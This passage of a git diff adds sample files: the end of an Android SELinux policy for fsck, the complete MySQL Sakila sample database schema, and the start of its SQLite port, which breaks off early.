+allow fsck tmpfs:chr_file { read write ioctl };
+
+# Inherit and use pty created by android_fork_execvp_ext().
+allow fsck devpts:chr_file { read write ioctl getattr };
+
+# Allow stdin/out back to vold
+allow fsck vold:fd use;
+allow fsck vold:fifo_file { read write getattr };
+
+# Run fsck on certain block devices
+allow fsck block_device:dir search;
+allow fsck userdata_block_device:blk_file rw_file_perms;
+allow fsck cache_block_device:blk_file rw_file_perms;
+allow fsck dm_device:blk_file rw_file_perms;
+userdebug_or_eng(`
+allow fsck system_block_device:blk_file rw_file_perms;
+')
+
+# For the block devices where we have ioctl access,
+# allow at a minimum the following common fsck ioctls.
+allowxperm fsck dev_type:blk_file ioctl {
+  BLKDISCARDZEROES
+  BLKROGET
+};
+
+# To determine if it is safe to run fsck on a filesystem, e2fsck
+# must first determine if the filesystem is mounted. To do that,
+# e2fsck scans through /proc/mounts and collects all the mounted
+# block devices. With that information, it runs stat() on each block
+# device, comparing the major and minor numbers to the filesystem
+# passed in on the command line. If there is a match, then the filesystem
+# is currently mounted and running fsck is dangerous.
+# Allow stat access to all block devices so that fsck can compare
+# major/minor values.
+allow fsck dev_type:blk_file getattr;
+
+allow fsck {
+  proc_mounts
+  proc_swaps
+}:file r_file_perms;
+allow fsck rootfs:dir r_dir_perms;
+
+###
+### neverallow rules
+###
+
+# fsck should never be run on these block devices
+neverallow fsck {
+  boot_block_device
+  frp_block_device
+  recovery_block_device
+  root_block_device
+  swap_block_device
+  system_block_device
+  userdebug_or_eng(`-system_block_device')
+  vold_device
+}:blk_file no_rw_file_perms;
+
+# Only allow entry from init or vold via fsck binaries
+neverallow { domain -init -vold } fsck:process transition;
+neverallow * fsck:process dyntransition;
+neverallow fsck { file_type fs_type -fsck_exec }:file entrypoint;
diff --git a/samples/SQL/mysql-sakila-schema.sql b/samples/SQL/mysql-sakila-schema.sql
new file mode 100644
index 0000000000..f406aca352
--- /dev/null
+++ b/samples/SQL/mysql-sakila-schema.sql
@@ -0,0 +1,643 @@
+-- Sakila Sample Database Schema
+-- Version 0.8
+
+-- Copyright (c) 2006, MySQL AB
+-- All rights reserved.
+
+-- Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+--  * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+--  * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+--  * Neither the name of MySQL AB nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0;
+SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0;
+SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='TRADITIONAL';
+
+DROP SCHEMA IF EXISTS sakila;
+CREATE SCHEMA sakila;
+USE sakila;
+
+--
+-- Table structure for table `actor`
+--
+
+CREATE TABLE actor (
+  actor_id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,
+  first_name VARCHAR(45) NOT NULL,
+  last_name VARCHAR(45) NOT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY  (actor_id),
+  KEY idx_actor_last_name (last_name)
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `address`
+--
+
+CREATE TABLE address (
+  address_id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,
+  address VARCHAR(50) NOT NULL,
+  address2 VARCHAR(50) DEFAULT NULL,
+  district VARCHAR(20) NOT NULL,
+  city_id SMALLINT UNSIGNED NOT NULL,
+  postal_code VARCHAR(10) DEFAULT NULL,
+  phone VARCHAR(20) NOT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY  (address_id),
+  KEY idx_fk_city_id (city_id),
+  CONSTRAINT `fk_address_city` FOREIGN KEY (city_id) REFERENCES city (city_id) ON DELETE RESTRICT ON UPDATE CASCADE
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `category`
+--
+
+CREATE TABLE category (
+  category_id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT,
+  name VARCHAR(25) NOT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY  (category_id)
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `city`
+--
+
+CREATE TABLE city (
+  city_id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,
+  city VARCHAR(50) NOT NULL,
+  country_id SMALLINT UNSIGNED NOT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY  (city_id),
+  KEY idx_fk_country_id (country_id),
+  CONSTRAINT `fk_city_country` FOREIGN KEY (country_id) REFERENCES country (country_id) ON DELETE RESTRICT ON UPDATE CASCADE
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `country`
+--
+
+CREATE TABLE country (
+  country_id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,
+  country VARCHAR(50) NOT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY  (country_id)
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `customer`
+--
+
+CREATE TABLE customer (
+  customer_id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,
+  store_id TINYINT UNSIGNED NOT NULL,
+  first_name VARCHAR(45) NOT NULL,
+  last_name VARCHAR(45) NOT NULL,
+  email VARCHAR(50) DEFAULT NULL,
+  address_id SMALLINT UNSIGNED NOT NULL,
+  active BOOLEAN NOT NULL DEFAULT TRUE,
+  create_date DATETIME NOT NULL,
+  last_update TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY  (customer_id),
+  KEY idx_fk_store_id (store_id),
+  KEY idx_fk_address_id (address_id),
+  KEY idx_last_name (last_name),
+  CONSTRAINT fk_customer_address FOREIGN KEY (address_id) REFERENCES address (address_id) ON DELETE RESTRICT ON UPDATE CASCADE,
+  CONSTRAINT fk_customer_store FOREIGN KEY (store_id) REFERENCES store (store_id) ON DELETE RESTRICT ON UPDATE CASCADE
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `film`
+--
+
+CREATE TABLE film (
+  film_id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,
+  title VARCHAR(255) NOT NULL,
+  description TEXT DEFAULT NULL,
+  release_year YEAR DEFAULT NULL,
+  language_id TINYINT UNSIGNED NOT NULL,
+  original_language_id TINYINT UNSIGNED DEFAULT NULL,
+  rental_duration TINYINT UNSIGNED NOT NULL DEFAULT 3,
+  rental_rate DECIMAL(4,2) NOT NULL DEFAULT 4.99,
+  length SMALLINT UNSIGNED DEFAULT NULL,
+  replacement_cost DECIMAL(5,2) NOT NULL DEFAULT 19.99,
+  rating ENUM('G','PG','PG-13','R','NC-17') DEFAULT 'G',
+  special_features SET('Trailers','Commentaries','Deleted Scenes','Behind the Scenes') DEFAULT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY  (film_id),
+  KEY idx_title (title),
+  KEY idx_fk_language_id (language_id),
+  KEY idx_fk_original_language_id (original_language_id),
+  CONSTRAINT fk_film_language FOREIGN KEY (language_id) REFERENCES language (language_id) ON DELETE RESTRICT ON UPDATE CASCADE,
+  CONSTRAINT fk_film_language_original FOREIGN KEY (original_language_id) REFERENCES language (language_id) ON DELETE RESTRICT ON UPDATE CASCADE
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `film_actor`
+--
+
+CREATE TABLE film_actor (
+  actor_id SMALLINT UNSIGNED NOT NULL,
+  film_id SMALLINT UNSIGNED NOT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY  (actor_id,film_id),
+  KEY idx_fk_film_id (`film_id`),
+  CONSTRAINT fk_film_actor_actor FOREIGN KEY (actor_id) REFERENCES actor (actor_id) ON DELETE RESTRICT ON UPDATE CASCADE,
+  CONSTRAINT fk_film_actor_film FOREIGN KEY (film_id) REFERENCES film (film_id) ON DELETE RESTRICT ON UPDATE CASCADE
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `film_category`
+--
+
+CREATE TABLE film_category (
+  film_id SMALLINT UNSIGNED NOT NULL,
+  category_id TINYINT UNSIGNED NOT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY (film_id, category_id),
+  CONSTRAINT fk_film_category_film FOREIGN KEY (film_id) REFERENCES film (film_id) ON DELETE RESTRICT ON UPDATE CASCADE,
+  CONSTRAINT fk_film_category_category FOREIGN KEY (category_id) REFERENCES category (category_id) ON DELETE RESTRICT ON UPDATE CASCADE
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `film_text`
+--
+
+CREATE TABLE film_text (
+  film_id SMALLINT NOT NULL,
+  title VARCHAR(255) NOT NULL,
+  description TEXT,
+  PRIMARY KEY  (film_id),
+  FULLTEXT KEY idx_title_description (title,description)
+)ENGINE=MyISAM DEFAULT CHARSET=utf8;
+
+--
+-- Triggers for loading film_text from film
+--
+
+DELIMITER ;;
+CREATE TRIGGER `ins_film` AFTER INSERT ON `film` FOR EACH ROW BEGIN
+    INSERT INTO film_text (film_id, title, description)
+        VALUES (new.film_id, new.title, new.description);
+  END;;
+
+
+CREATE TRIGGER `upd_film` AFTER UPDATE ON `film` FOR EACH ROW BEGIN
+    IF (old.title != new.title) or (old.description != new.description)
+    THEN
+        UPDATE film_text
+            SET title=new.title,
+                description=new.description,
+                film_id=new.film_id
+        WHERE film_id=old.film_id;
+    END IF;
+  END;;
+
+
+CREATE TRIGGER `del_film` AFTER DELETE ON `film` FOR EACH ROW BEGIN
+    DELETE FROM film_text WHERE film_id = old.film_id;
+  END;;
+
+DELIMITER ;
+
+--
+-- Table structure for table `inventory`
+--
+
+CREATE TABLE inventory (
+  inventory_id MEDIUMINT UNSIGNED NOT NULL AUTO_INCREMENT,
+  film_id SMALLINT UNSIGNED NOT NULL,
+  store_id TINYINT UNSIGNED NOT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY  (inventory_id),
+  KEY idx_fk_film_id (film_id),
+  KEY idx_store_id_film_id (store_id,film_id),
+  CONSTRAINT fk_inventory_store FOREIGN KEY (store_id) REFERENCES store (store_id) ON DELETE RESTRICT ON UPDATE CASCADE,
+  CONSTRAINT fk_inventory_film FOREIGN KEY (film_id) REFERENCES film (film_id) ON DELETE RESTRICT ON UPDATE CASCADE
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `language`
+--
+
+CREATE TABLE language (
+  language_id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT,
+  name CHAR(20) NOT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY (language_id)
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `payment`
+--
+
+CREATE TABLE payment (
+  payment_id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,
+  customer_id SMALLINT UNSIGNED NOT NULL,
+  staff_id TINYINT UNSIGNED NOT NULL,
+  rental_id INT DEFAULT NULL,
+  amount DECIMAL(5,2) NOT NULL,
+  payment_date DATETIME NOT NULL,
+  last_update TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY  (payment_id),
+  KEY idx_fk_staff_id (staff_id),
+  KEY idx_fk_customer_id (customer_id),
+  CONSTRAINT fk_payment_rental FOREIGN KEY (rental_id) REFERENCES rental (rental_id) ON DELETE SET NULL ON UPDATE CASCADE,
+  CONSTRAINT fk_payment_customer FOREIGN KEY (customer_id) REFERENCES customer (customer_id) ON DELETE RESTRICT ON UPDATE CASCADE,
+  CONSTRAINT fk_payment_staff FOREIGN KEY (staff_id) REFERENCES staff (staff_id) ON DELETE RESTRICT ON UPDATE CASCADE
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+
+--
+-- Table structure for table `rental`
+--
+
+CREATE TABLE rental (
+  rental_id INT NOT NULL AUTO_INCREMENT,
+  rental_date DATETIME NOT NULL,
+  inventory_id MEDIUMINT UNSIGNED NOT NULL,
+  customer_id SMALLINT UNSIGNED NOT NULL,
+  return_date DATETIME DEFAULT NULL,
+  staff_id TINYINT UNSIGNED NOT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY (rental_id),
+  UNIQUE KEY  (rental_date,inventory_id,customer_id),
+  KEY idx_fk_inventory_id (inventory_id),
+  KEY idx_fk_customer_id (customer_id),
+  KEY idx_fk_staff_id (staff_id),
+  CONSTRAINT fk_rental_staff FOREIGN KEY (staff_id) REFERENCES staff (staff_id) ON DELETE RESTRICT ON UPDATE CASCADE,
+  CONSTRAINT fk_rental_inventory FOREIGN KEY (inventory_id) REFERENCES inventory (inventory_id) ON DELETE RESTRICT ON UPDATE CASCADE,
+  CONSTRAINT fk_rental_customer FOREIGN KEY (customer_id) REFERENCES customer (customer_id) ON DELETE RESTRICT ON UPDATE CASCADE
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `staff`
+--
+
+CREATE TABLE staff (
+  staff_id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT,
+  first_name VARCHAR(45) NOT NULL,
+  last_name VARCHAR(45) NOT NULL,
+  address_id SMALLINT UNSIGNED NOT NULL,
+  picture MEDIUMBLOB DEFAULT NULL,
+  email VARCHAR(50) DEFAULT NULL,
+  store_id TINYINT UNSIGNED NOT NULL,
+  active BOOLEAN NOT NULL DEFAULT TRUE,
+  username VARCHAR(16) NOT NULL,
+  password VARCHAR(40) BINARY DEFAULT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY  (staff_id),
+  KEY idx_fk_store_id (store_id),
+  KEY idx_fk_address_id (address_id),
+  CONSTRAINT fk_staff_store FOREIGN KEY (store_id) REFERENCES store (store_id) ON DELETE RESTRICT ON UPDATE CASCADE,
+  CONSTRAINT fk_staff_address FOREIGN KEY (address_id) REFERENCES address (address_id) ON DELETE RESTRICT ON UPDATE CASCADE
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- Table structure for table `store`
+--
+
+CREATE TABLE store (
+  store_id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT,
+  manager_staff_id TINYINT UNSIGNED NOT NULL,
+  address_id SMALLINT UNSIGNED NOT NULL,
+  last_update TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  PRIMARY KEY  (store_id),
+  UNIQUE KEY idx_unique_manager (manager_staff_id),
+  KEY idx_fk_address_id (address_id),
+  CONSTRAINT fk_store_staff FOREIGN KEY (manager_staff_id) REFERENCES staff (staff_id) ON DELETE RESTRICT ON UPDATE CASCADE,
+  CONSTRAINT fk_store_address FOREIGN KEY (address_id) REFERENCES address (address_id) ON DELETE RESTRICT ON UPDATE CASCADE
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+--
+-- View structure for view `customer_list`
+--
+
+CREATE VIEW customer_list
+AS
+SELECT cu.customer_id AS ID, CONCAT(cu.first_name, _utf8' ', cu.last_name) AS name, a.address AS address, a.postal_code AS `zip code`,
+	a.phone AS phone, city.city AS city, country.country AS country, IF(cu.active, _utf8'active',_utf8'') AS notes, cu.store_id AS SID
+FROM customer AS cu JOIN address AS a ON cu.address_id = a.address_id JOIN city ON a.city_id = city.city_id
+	JOIN country ON city.country_id = country.country_id;
+
+--
+-- View structure for view `film_list`
+--
+
+CREATE VIEW film_list
+AS
+SELECT film.film_id AS FID, film.title AS title, film.description AS description, category.name AS category, film.rental_rate AS price,
+	film.length AS length, film.rating AS rating, GROUP_CONCAT(CONCAT(actor.first_name, _utf8' ', actor.last_name) SEPARATOR ', ') AS actors
+FROM category LEFT JOIN film_category ON category.category_id = film_category.category_id LEFT JOIN film ON film_category.film_id = film.film_id
+        JOIN film_actor ON film.film_id = film_actor.film_id
+	JOIN actor ON film_actor.actor_id = actor.actor_id
+GROUP BY film.film_id;
+
+--
+-- View structure for view `nicer_but_slower_film_list`
+--
+
+CREATE VIEW nicer_but_slower_film_list
+AS
+SELECT film.film_id AS FID, film.title AS title, film.description AS description, category.name AS category, film.rental_rate AS price,
+	film.length AS length, film.rating AS rating, GROUP_CONCAT(CONCAT(CONCAT(UCASE(SUBSTR(actor.first_name,1,1)),
+	LCASE(SUBSTR(actor.first_name,2,LENGTH(actor.first_name))),_utf8' ',CONCAT(UCASE(SUBSTR(actor.last_name,1,1)),
+	LCASE(SUBSTR(actor.last_name,2,LENGTH(actor.last_name)))))) SEPARATOR ', ') AS actors
+FROM category LEFT JOIN film_category ON category.category_id = film_category.category_id LEFT JOIN film ON film_category.film_id = film.film_id
+        JOIN film_actor ON film.film_id = film_actor.film_id
+	JOIN actor ON film_actor.actor_id = actor.actor_id
+GROUP BY film.film_id;
+
+--
+-- View structure for view `staff_list`
+--
+
+CREATE VIEW staff_list
+AS
+SELECT s.staff_id AS ID, CONCAT(s.first_name, _utf8' ', s.last_name) AS name, a.address AS address, a.postal_code AS `zip code`, a.phone AS phone,
+	city.city AS city, country.country AS country, s.store_id AS SID
+FROM staff AS s JOIN address AS a ON s.address_id = a.address_id JOIN city ON a.city_id = city.city_id
+	JOIN country ON city.country_id = country.country_id;
+
+--
+-- View structure for view `sales_by_store`
+--
+
+CREATE VIEW sales_by_store
+AS
+SELECT
+CONCAT(c.city, _utf8',', cy.country) AS store
+, CONCAT(m.first_name, _utf8' ', m.last_name) AS manager
+, SUM(p.amount) AS total_sales
+FROM payment AS p
+INNER JOIN rental AS r ON p.rental_id = r.rental_id
+INNER JOIN inventory AS i ON r.inventory_id = i.inventory_id
+INNER JOIN store AS s ON i.store_id = s.store_id
+INNER JOIN address AS a ON s.address_id = a.address_id
+INNER JOIN city AS c ON a.city_id = c.city_id
+INNER JOIN country AS cy ON c.country_id = cy.country_id
+INNER JOIN staff AS m ON s.manager_staff_id = m.staff_id
+GROUP BY s.store_id
+ORDER BY cy.country, c.city;
+
+--
+-- View structure for view `sales_by_film_category`
+--
+-- Note that total sales will add up to >100% because
+-- some titles belong to more than 1 category
+--
+
+CREATE VIEW sales_by_film_category
+AS
+SELECT
+c.name AS category
+, SUM(p.amount) AS total_sales
+FROM payment AS p
+INNER JOIN rental AS r ON p.rental_id = r.rental_id
+INNER JOIN inventory AS i ON r.inventory_id = i.inventory_id
+INNER JOIN film AS f ON i.film_id = f.film_id
+INNER JOIN film_category AS fc ON f.film_id = fc.film_id
+INNER JOIN category AS c ON fc.category_id = c.category_id
+GROUP BY c.name
+ORDER BY total_sales DESC;
+
+--
+-- View structure for view `actor_info`
+--
+
+CREATE DEFINER=CURRENT_USER SQL SECURITY INVOKER VIEW actor_info
+AS
+SELECT
+a.actor_id,
+a.first_name,
+a.last_name,
+GROUP_CONCAT(DISTINCT CONCAT(c.name, ': ',
+		(SELECT GROUP_CONCAT(f.title ORDER BY f.title SEPARATOR ', ')
+                    FROM sakila.film f
+                    INNER JOIN sakila.film_category fc
+                      ON f.film_id = fc.film_id
+                    INNER JOIN sakila.film_actor fa
+                      ON f.film_id = fa.film_id
+                    WHERE fc.category_id = c.category_id
+                    AND fa.actor_id = a.actor_id
+                 )
+             )
+             ORDER BY c.name SEPARATOR '; ')
+AS film_info
+FROM sakila.actor a
+LEFT JOIN sakila.film_actor fa
+  ON a.actor_id = fa.actor_id
+LEFT JOIN sakila.film_category fc
+  ON fa.film_id = fc.film_id
+LEFT JOIN sakila.category c
+  ON fc.category_id = c.category_id
+GROUP BY a.actor_id, a.first_name, a.last_name;
+
+--
+-- Procedure structure for procedure `rewards_report`
+--
+
+DELIMITER //
+
+CREATE PROCEDURE rewards_report (
+    IN min_monthly_purchases TINYINT UNSIGNED
+    , IN min_dollar_amount_purchased DECIMAL(10,2) UNSIGNED
+    , OUT count_rewardees INT
+)
+LANGUAGE SQL
+NOT DETERMINISTIC
+READS SQL DATA
+SQL SECURITY DEFINER
+COMMENT 'Provides a customizable report on best customers'
+proc: BEGIN
+
+    DECLARE last_month_start DATE;
+    DECLARE last_month_end DATE;
+
+    /* Some sanity checks... */
+    IF min_monthly_purchases = 0 THEN
+        SELECT 'Minimum monthly purchases parameter must be > 0';
+        LEAVE proc;
+    END IF;
+    IF min_dollar_amount_purchased = 0.00 THEN
+        SELECT 'Minimum monthly dollar amount purchased parameter must be > $0.00';
+        LEAVE proc;
+    END IF;
+
+    /* Determine start and end time periods */
+    SET last_month_start = DATE_SUB(CURRENT_DATE(), INTERVAL 1 MONTH);
+    SET last_month_start = STR_TO_DATE(CONCAT(YEAR(last_month_start),'-',MONTH(last_month_start),'-01'),'%Y-%m-%d');
+    SET last_month_end = LAST_DAY(last_month_start);
+
+    /*
+        Create a temporary storage area for
+        Customer IDs.
+    */
+    CREATE TEMPORARY TABLE tmpCustomer (customer_id SMALLINT UNSIGNED NOT NULL PRIMARY KEY);
+
+    /*
+        Find all customers meeting the
+        monthly purchase requirements
+    */
+    INSERT INTO tmpCustomer (customer_id)
+    SELECT p.customer_id
+    FROM payment AS p
+    WHERE DATE(p.payment_date) BETWEEN last_month_start AND last_month_end
+    GROUP BY customer_id
+    HAVING SUM(p.amount) > min_dollar_amount_purchased
+    AND COUNT(customer_id) > min_monthly_purchases;
+
+    /* Populate OUT parameter with count of found customers */
+    SELECT COUNT(*) FROM tmpCustomer INTO count_rewardees;
+
+    /*
+        Output ALL customer information of matching rewardees.
+        Customize output as needed.
+    */
+    SELECT c.*
+    FROM tmpCustomer AS t
+    INNER JOIN customer AS c ON t.customer_id = c.customer_id;
+
+    /* Clean up */
+    DROP TABLE tmpCustomer;
+END //
+
+DELIMITER ;
+
+DELIMITER $$
+
+CREATE FUNCTION get_customer_balance(p_customer_id INT, p_effective_date DATETIME) RETURNS DECIMAL(5,2)
+    DETERMINISTIC
+    READS SQL DATA
+BEGIN
+
+       #OK, WE NEED TO CALCULATE THE CURRENT BALANCE GIVEN A CUSTOMER_ID AND A DATE
+       #THAT WE WANT THE BALANCE TO BE EFFECTIVE FOR. THE BALANCE IS:
+       #   1) RENTAL FEES FOR ALL PREVIOUS RENTALS
+       #   2) ONE DOLLAR FOR EVERY DAY THE PREVIOUS RENTALS ARE OVERDUE
+       #   3) IF A FILM IS MORE THAN RENTAL_DURATION * 2 OVERDUE, CHARGE THE REPLACEMENT_COST
+       #   4) SUBTRACT ALL PAYMENTS MADE BEFORE THE DATE SPECIFIED
+
+  DECLARE v_rentfees DECIMAL(5,2); #FEES PAID TO RENT THE VIDEOS INITIALLY
+  DECLARE v_overfees INTEGER;      #LATE FEES FOR PRIOR RENTALS
+  DECLARE v_payments DECIMAL(5,2); #SUM OF PAYMENTS MADE PREVIOUSLY
+
+  SELECT IFNULL(SUM(film.rental_rate),0) INTO v_rentfees
+    FROM film, inventory, rental
+    WHERE film.film_id = inventory.film_id
+      AND inventory.inventory_id = rental.inventory_id
+      AND rental.rental_date <= p_effective_date
+      AND rental.customer_id = p_customer_id;
+
+  SELECT IFNULL(SUM(IF((TO_DAYS(rental.return_date) - TO_DAYS(rental.rental_date)) > film.rental_duration,
+        ((TO_DAYS(rental.return_date) - TO_DAYS(rental.rental_date)) - film.rental_duration),0)),0) INTO v_overfees
+    FROM rental, inventory, film
+    WHERE film.film_id = inventory.film_id
+      AND inventory.inventory_id = rental.inventory_id
+      AND rental.rental_date <= p_effective_date
+      AND rental.customer_id = p_customer_id;
+
+
+  SELECT IFNULL(SUM(payment.amount),0) INTO v_payments
+    FROM payment
+
+    WHERE payment.payment_date <= p_effective_date
+    AND payment.customer_id = p_customer_id;
+
+  RETURN v_rentfees + v_overfees - v_payments;
+END $$
+
+DELIMITER ;
+
+DELIMITER $$
+
+CREATE PROCEDURE film_in_stock(IN p_film_id INT, IN p_store_id INT, OUT p_film_count INT)
+READS SQL DATA
+BEGIN
+     SELECT inventory_id
+     FROM inventory
+     WHERE film_id = p_film_id
+     AND store_id = p_store_id
+     AND inventory_in_stock(inventory_id);
+
+     SELECT FOUND_ROWS() INTO p_film_count;
+END $$
+
+DELIMITER ;
+
+DELIMITER $$
+
+CREATE PROCEDURE film_not_in_stock(IN p_film_id INT, IN p_store_id INT, OUT p_film_count INT)
+READS SQL DATA
+BEGIN
+     SELECT inventory_id
+     FROM inventory
+     WHERE film_id = p_film_id
+     AND store_id = p_store_id
+     AND NOT inventory_in_stock(inventory_id);
+
+     SELECT FOUND_ROWS() INTO p_film_count;
+END $$
+
+DELIMITER ;
+
+DELIMITER $$
+
+CREATE FUNCTION inventory_held_by_customer(p_inventory_id INT) RETURNS INT
+READS SQL DATA
+BEGIN
+  DECLARE v_customer_id INT;
+  DECLARE EXIT HANDLER FOR NOT FOUND RETURN NULL;
+
+  SELECT customer_id INTO v_customer_id
+  FROM rental
+  WHERE return_date IS NULL
+  AND inventory_id = p_inventory_id;
+
+  RETURN v_customer_id;
+END $$
+
+DELIMITER ;
+
+DELIMITER $$
+
+CREATE FUNCTION inventory_in_stock(p_inventory_id INT) RETURNS BOOLEAN
+READS SQL DATA
+BEGIN
+    DECLARE v_rentals INT;
+    DECLARE v_out     INT;
+
+    #AN ITEM IS IN-STOCK IF THERE ARE EITHER NO ROWS IN THE rental TABLE
+    #FOR THE ITEM OR ALL ROWS HAVE return_date POPULATED
+
+    SELECT COUNT(*) INTO v_rentals
+    FROM rental
+    WHERE inventory_id = p_inventory_id;
+
+    IF v_rentals = 0 THEN
+      RETURN TRUE;
+    END IF;
+
+    SELECT COUNT(rental_id) INTO v_out
+    FROM inventory LEFT JOIN rental USING(inventory_id)
+    WHERE inventory.inventory_id = p_inventory_id
+    AND rental.return_date IS NULL;
+
+    IF v_out > 0 THEN
+      RETURN FALSE;
+    ELSE
+      RETURN TRUE;
+    END IF;
+END $$
+
+DELIMITER ;
+
+SET SQL_MODE=@OLD_SQL_MODE;
+SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS;
+SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS;
+
+
diff --git a/samples/SQL/sqlite-sakila-schema.sql b/samples/SQL/sqlite-sakila-schema.sql
new file mode 100644
index 0000000000..0ba7058d46
--- /dev/null
+++ b/samples/SQL/sqlite-sakila-schema.sql
@@ -0,0 +1,645 @@
+/*
+
+Sakila for SQLite is a port of the Sakila example database available for MySQL, which was originally developed by Mike Hillyer of the MySQL AB documentation team. 
+This project is designed to help database administrators to decide which database to use for development of new products
+The user can run the same SQL against different kind of databases and compare the performance
+
+License: BSD
+Copyright DB Software Laboratory
+http://www.etl-tools.com
+
+*/
+
+--
+-- Table structure for table actor
+--
+--DROP TABLE actor;
+
+CREATE TABLE actor (
+  actor_id numeric NOT NULL ,
+  first_name VARCHAR(45) NOT NULL,
+  last_name VARCHAR(45) NOT NULL,
+  last_update TIMESTAMP NOT NULL,
+  PRIMARY KEY  (actor_id)
+  )
+  ;
+
+CREATE  INDEX idx_actor_last_name ON actor(last_name)
+;
+ 
+CREATE TRIGGER actor_trigger_ai AFTER INSERT ON actor
+ BEGIN
+  UPDATE actor SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+ 
+CREATE TRIGGER actor_trigger_au AFTER UPDATE ON actor
+ BEGIN
+  UPDATE actor SET last_update = DATETIME('NOW')  WHERE rowid = new.rowid;
+ END
+;
+
+ --
+-- Table structure for table country
+--
+
+CREATE TABLE country (
+  country_id SMALLINT NOT NULL,
